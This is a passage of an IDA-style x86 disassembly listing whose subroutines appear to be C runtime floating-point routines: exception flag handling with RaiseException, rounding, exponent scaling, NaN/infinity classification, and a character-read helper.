		mov	eax, [ebp+var_34]


loc_420D95:				; CODE XREF: sub_420375+A11j
					; sub_420375+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420375	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D9A	proc near		; CODE XREF: sub_420375+7A3p
					; sub_420375+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_44276C, 1
		push	esi
		jle	short loc_420DB4
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420DC3
; ---------------------------------------------------------------------------


loc_420DB4:				; CODE XREF: sub_420D9A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_442560
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420DC3:				; CODE XREF: sub_420D9A+18j
		test	eax, eax
		jnz	short loc_420DCD
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420DCD:				; CODE XREF: sub_420D9A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420D9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420DD1	proc near		; CODE XREF: sub_420375+1E1p
					; sub_420375+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420DE3
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420DE3:				; CODE XREF: sub_420DD1+7j
		push	edx
		call	sub_41EEA8
		pop	ecx
		retn
sub_420DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420DEB	proc near		; CODE XREF: sub_420375+6Bp
					; sub_420375+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420E01
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423E0F
		pop	ecx
		pop	ecx

locret_420E01:				; CODE XREF: sub_420DEB+5j
		retn
sub_420DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_420E02	proc near		; CODE XREF: sub_420375+63p
					; sub_420375+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420E08:				; CODE XREF: sub_420E02+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420DD1
		mov	edi, eax
		push	edi
		call	sub_41DD40
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420E08
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420E02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420E26(int, int, double, int)

sub_420E26	proc near		; CODE XREF: sub_41CD19+51p
					; sub_41CE5F+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_442EE0, 0
		jnz	short loc_420E5B
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_4213DB
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420E5B:				; CODE XREF: sub_420E26+Aj
		push	0FFFFh
		mov	ds:dword_4E14F8, 21h
		push	[ebp+arg_C]
		call	sub_42164E
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_420E79(int, int, double, double, int)

sub_420E79	proc near		; CODE XREF: sub_41CD19:loc_41CDDCp
					; sub_41CE5F:loc_41CF22p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4211C4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420EB7
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_420F11
		add	esp, 18h


loc_420EB7:				; CODE XREF: sub_420E79+1Aj
		push	[ebp+arg_0]
		call	sub_4214AE
		cmp	ds:dword_442EE0, 0
		pop	ecx
		jnz	short loc_420EF5
		test	eax, eax
		jz	short loc_420EF5
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_4213DB
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_420EF5:				; CODE XREF: sub_420E79+4Ej
					; sub_420E79+52j
		push	eax
		call	sub_421463
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_42164E
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_420E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F11	proc near		; CODE XREF: sub_420E79+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_420F43
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_420F43:				; CODE XREF: sub_420F11+23j
		test	cl, 2
		jz	short loc_420F56
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_420F56:				; CODE XREF: sub_420F11+35j
		test	cl, bl
		jz	short loc_420F68
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_420F68:				; CODE XREF: sub_420F11+47j
		test	cl, 4
		jz	short loc_420F7B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_420F7B:				; CODE XREF: sub_420F11+5Aj
		test	cl, 8
		jz	short loc_420F8E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_420F8E:				; CODE XREF: sub_420F11+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_421631
		test	al, bl
		jz	short loc_421017
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421017:				; CODE XREF: sub_420F11+FDj
		test	al, 4
		jz	short loc_421022
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421022:				; CODE XREF: sub_420F11+108j
		test	al, 8
		jz	short loc_42102D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_42102D:				; CODE XREF: sub_420F11+113j
		test	al, 10h
		jz	short loc_421037
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421037:				; CODE XREF: sub_420F11+11Ej
		test	al, 20h
		jz	short loc_421041
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421041:				; CODE XREF: sub_420F11+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421080
		cmp	eax, 400h
		jz	short loc_421072
		cmp	eax, 800h
		jz	short loc_421066
		cmp	eax, ecx
		jnz	short loc_421086
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421086
; ---------------------------------------------------------------------------


loc_421066:				; CODE XREF: sub_420F11+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_42107C
; ---------------------------------------------------------------------------


loc_421072:				; CODE XREF: sub_420F11+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_42107C:				; CODE XREF: sub_420F11+15Fj
		mov	[eax], ecx
		jmp	short loc_421086
; ---------------------------------------------------------------------------


loc_421080:				; CODE XREF: sub_420F11+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421086:				; CODE XREF: sub_420F11+14Bj
					; sub_420F11+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4210B1
		cmp	eax, 200h
		jz	short loc_4210A4
		cmp	eax, ecx
		jnz	short loc_4210BE
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4210BE
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420F11+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4210BC
; ---------------------------------------------------------------------------


loc_4210B1:				; CODE XREF: sub_420F11+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_4210BC:				; CODE XREF: sub_420F11+19Ej
		mov	[eax], ecx


loc_4210BE:				; CODE XREF: sub_420F11+189j
					; sub_420F11+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42163F
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_42705C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421138
		and	dword ptr [esi], 0FFFFFFFEh


loc_421138:				; CODE XREF: sub_420F11+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421141
		and	dword ptr [esi], 0FFFFFFFBh


loc_421141:				; CODE XREF: sub_420F11+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_42114A
		and	dword ptr [esi], 0FFFFFFF7h


loc_42114A:				; CODE XREF: sub_420F11+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421153
		and	dword ptr [esi], 0FFFFFFEFh


loc_421153:				; CODE XREF: sub_420F11+23Dj
		test	[eax+8], bl
		jz	short loc_42115B
		and	dword ptr [esi], 0FFFFFFDFh


loc_42115B:				; CODE XREF: sub_420F11+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42118F
		dec	ecx
		jz	short loc_421183
		dec	ecx
		jz	short loc_421179
		dec	ecx
		jnz	short loc_421191
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421191
; ---------------------------------------------------------------------------


loc_421179:				; CODE XREF: sub_420F11+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_42118B
; ---------------------------------------------------------------------------


loc_421183:				; CODE XREF: sub_420F11+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_42118B:				; CODE XREF: sub_420F11+270j
		mov	[esi], ecx
		jmp	short loc_421191
; ---------------------------------------------------------------------------


loc_42118F:				; CODE XREF: sub_420F11+257j
		and	[esi], edx


loc_421191:				; CODE XREF: sub_420F11+260j
					; sub_420F11+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_4211B1
		dec	ecx
		jz	short loc_4211A8
		dec	ecx
		jnz	short loc_4211BA
		and	[esi], edx
		jmp	short loc_4211BA
; ---------------------------------------------------------------------------


loc_4211A8:				; CODE XREF: sub_420F11+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_4211B8
; ---------------------------------------------------------------------------


loc_4211B1:				; CODE XREF: sub_420F11+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_4211B8:				; CODE XREF: sub_420F11+29Ej
		mov	[esi], ecx


loc_4211BA:				; CODE XREF: sub_420F11+291j
					; sub_420F11+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211C4	proc near		; CODE XREF: sub_420E79+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4211EF
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4211EF
		push	ebx
		call	sub_421671
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_4213B9
; ---------------------------------------------------------------------------


loc_4211EF:				; CODE XREF: sub_4211C4+15j
					; sub_4211C4+1Aj
		test	al, 4
		jz	short loc_421209
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421209
		push	4
		call	sub_421671
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_4213B9
; ---------------------------------------------------------------------------


loc_421209:				; CODE XREF: sub_4211C4+2Dj
					; sub_4211C4+33j
		test	al, bl
		jz	loc_4212E3
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4212E3
		push	8
		call	sub_421671
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_4212BB
		cmp	ecx, 400h
		jz	short loc_421293
		cmp	ecx, 800h
		jz	short loc_42126B
		cmp	ecx, eax
		jnz	loc_4212DB
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427858
		fld	ds:dbl_442AD8
		fnstsw	ax
		sahf
		ja	short loc_421263
		fchs


loc_421263:				; CODE XREF: sub_4211C4+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4212D9
; ---------------------------------------------------------------------------


loc_42126B:				; CODE XREF: sub_4211C4+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427858
		fnstsw	ax
		sahf
		jbe	short loc_421283
		fld	ds:dbl_442AC8
		jmp	short loc_42128B
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_4211C4+B5j
		fld	ds:dbl_442AD8
		fchs


loc_42128B:				; CODE XREF: sub_4211C4+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4212D9
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_4211C4+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427858
		fnstsw	ax
		sahf
		jbe	short loc_4212AB
		fld	ds:dbl_442AD8
		jmp	short loc_4212B3
; ---------------------------------------------------------------------------


loc_4212AB:				; CODE XREF: sub_4211C4+DDj
		fld	ds:dbl_442AC8
		fchs


loc_4212B3:				; CODE XREF: sub_4211C4+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4212D9
; ---------------------------------------------------------------------------


loc_4212BB:				; CODE XREF: sub_4211C4+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427858
		fld	ds:dbl_442AC8
		fnstsw	ax
		sahf
		ja	short loc_4212D3
		fchs


loc_4212D3:				; CODE XREF: sub_4211C4+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_4212D9:				; CODE XREF: sub_4211C4+A5j
					; sub_4211C4+CDj ...
		fstp	qword ptr [ecx]


loc_4212DB:				; CODE XREF: sub_4211C4+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_4213B9
; ---------------------------------------------------------------------------


loc_4212E3:				; CODE XREF: sub_4211C4+47j
					; sub_4211C4+51j
		test	al, 2
		jz	loc_4213B9
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4213B9
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4212FE
		mov	esi, ebx


loc_4212FE:				; CODE XREF: sub_4211C4+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_427858
		fnstsw	ax
		sahf
		jz	loc_4213A7
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421570
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421349
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_42139D
; ---------------------------------------------------------------------------


loc_421349:				; CODE XREF: sub_4211C4+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_427858
		fnstsw	ax
		sahf
		jnb	short loc_42135B
		mov	edx, ebx
		jmp	short loc_42135D
; ---------------------------------------------------------------------------


loc_42135B:				; CODE XREF: sub_4211C4+191j
		xor	edx, edx


loc_42135D:				; CODE XREF: sub_4211C4+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421391
		sub	eax, ecx


loc_421374:				; CODE XREF: sub_4211C4+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42137F
		test	esi, esi
		jnz	short loc_42137F
		mov	esi, ebx


loc_42137F:				; CODE XREF: sub_4211C4+1B3j
					; sub_4211C4+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_42138B
		or	byte ptr [ebp+var_C+3],	80h


loc_42138B:				; CODE XREF: sub_4211C4+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421374


loc_421391:				; CODE XREF: sub_4211C4+1ACj
		test	edx, edx
		jz	short loc_42139D
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_42139D:				; CODE XREF: sub_4211C4+183j
					; sub_4211C4+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_4213A7:				; CODE XREF: sub_4211C4+14Ej
		mov	esi, ebx


loc_4213A9:				; CODE XREF: sub_4211C4+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_4213B6
		push	10h
		call	sub_421671
		pop	ecx


loc_4213B6:				; CODE XREF: sub_4211C4+1E8j
		and	edi, 0FFFFFFFDh


loc_4213B9:				; CODE XREF: sub_4211C4+26j
					; sub_4211C4+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4213D0
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4213D0
		push	20h
		call	sub_421671
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4213D0:				; CODE XREF: sub_4211C4+1F9j
					; sub_4211C4+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_4211C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4213DB(int, int, int,	int, int, int, double, int)

sub_4213DB	proc near		; CODE XREF: sub_420E26+2Bp
					; sub_420E79+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421489
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421446
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_42164E
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_423E7D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421440
		push	esi
		call	sub_421463
		pop	ecx


loc_421440:				; CODE XREF: sub_4213DB+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_4213DB+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_42164E
		push	[ebp+arg_0]
		call	sub_421463
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_4213DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421463	proc near		; CODE XREF: sub_420E79+7Dp
					; sub_4213DB+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_42147E
		jle	short locret_421488
		cmp	eax, 3
		jg	short locret_421488
		mov	ds:dword_4E14F8, 22h
		retn
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_421463+7j
		mov	ds:dword_4E14F8, 21h

locret_421488:				; CODE XREF: sub_421463+9j
					; sub_421463+Ej
		retn
sub_421463	endp


; =============== S U B	R O U T	I N E =======================================



sub_421489	proc near		; CODE XREF: sub_4213DB+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4429F0


loc_421490:				; CODE XREF: sub_421489+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_4214A6
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_442AC8
		jl	short loc_421490
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4214A6:				; CODE XREF: sub_421489+Dj
		mov	eax, ds:off_4429F4[ecx*8]
		retn
sub_421489	endp


; =============== S U B	R O U T	I N E =======================================



sub_4214AE	proc near		; CODE XREF: sub_420E79+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_4214BA
		push	5
		jmp	short loc_4214D0
; ---------------------------------------------------------------------------


loc_4214BA:				; CODE XREF: sub_4214AE+6j
		test	al, 8
		jz	short loc_4214C2
		push	1
		jmp	short loc_4214D0
; ---------------------------------------------------------------------------


loc_4214C2:				; CODE XREF: sub_4214AE+Ej
		test	al, 4
		jz	short loc_4214CA
		push	2
		jmp	short loc_4214D0
; ---------------------------------------------------------------------------


loc_4214CA:				; CODE XREF: sub_4214AE+16j
		test	al, 1
		jz	short loc_4214D2
		push	3


loc_4214D0:				; CODE XREF: sub_4214AE+Aj
					; sub_4214AE+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4214D2:				; CODE XREF: sub_4214AE+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_4214AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4214DB(double)

sub_4214DB	proc near		; CODE XREF: sub_41CD19:loc_41CD9Fp
					; sub_41CE5F:loc_41CEE5p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_4214DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4214ED(double, int)

sub_4214ED	proc near		; CODE XREF: sub_421570+82p
					; sub_421570+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4214ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421516	proc near		; CODE XREF: sub_41CD19+31p
					; sub_41CE5F+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_42152D
		cmp	[ebp+arg_0], edx
		jnz	short loc_42153F
		push	1
		jmp	short loc_421569
; ---------------------------------------------------------------------------


loc_42152D:				; CODE XREF: sub_421516+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42153F
		cmp	[ebp+arg_0], edx
		jnz	short loc_42153F
		push	2
		jmp	short loc_421569
; ---------------------------------------------------------------------------


loc_42153F:				; CODE XREF: sub_421516+11j
					; sub_421516+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421552
		push	3
		jmp	short loc_421569
; ---------------------------------------------------------------------------


loc_421552:				; CODE XREF: sub_421516+36j
		cmp	cx, 7FF0h
		jnz	short loc_42156C
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421567
		cmp	[ebp+arg_0], edx
		jz	short loc_42156C


loc_421567:				; CODE XREF: sub_421516+4Aj
		push	4


loc_421569:				; CODE XREF: sub_421516+15j
					; sub_421516+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42156C:				; CODE XREF: sub_421516+41j
					; sub_421516+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

